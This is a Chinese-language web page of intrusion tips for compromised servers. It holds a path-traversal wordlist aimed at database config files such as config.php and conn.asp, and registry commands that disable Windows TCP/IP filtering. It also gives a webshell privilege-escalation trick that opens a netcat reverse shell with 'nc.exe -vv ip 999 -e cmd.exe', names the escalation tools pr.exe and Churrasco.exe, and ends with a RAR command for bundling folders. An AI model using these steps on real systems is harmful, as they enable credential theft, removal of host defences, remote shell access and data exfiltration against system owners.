../../config.php
../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
../index.asp
../../../index.asp
去除TCP IP筛选:
TCP/IP筛选在注册表里有三处,分别是:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
分别用以下命令来导出注册表项:
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
然后再把三个文件里的:
“EnableSecurityFilters"=dword:00000001”
改为:
“EnableSecurityFilters"=dword:00000000”
再将以上三个文件分别用以下命令导入注册表即可:
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
Webshell 提权小技巧:
Cmd路径:
c:\windows\temp\cmd.exe
Nc 也在同目录下,例如反弹cmdshell:
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
而直接在 cmd 路径上输入:
c:\windows\temp\nc.exe
命令输入:
-vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。这个不是重点
我们通常执行 pr.exe 或 Churrasco.exe 的时候也需要按照上面的方法才能成功。
命令行调用 RAR 打包:
rar a -k -r -s -m3 c:\1.rar c:\folde
-
上一个: 整理的Git用法技巧大全
相关文章
- 电脑键盘功能基础知识介绍 10-11
- win7关闭3D加速方法 10-11
- win7无法进入睡眠模式 10-11
- win7阻止端口连接方法 10-11
- win7桌面图标消失解决方法 10-11
- windows无法连接到system event notification service解决方法 10-11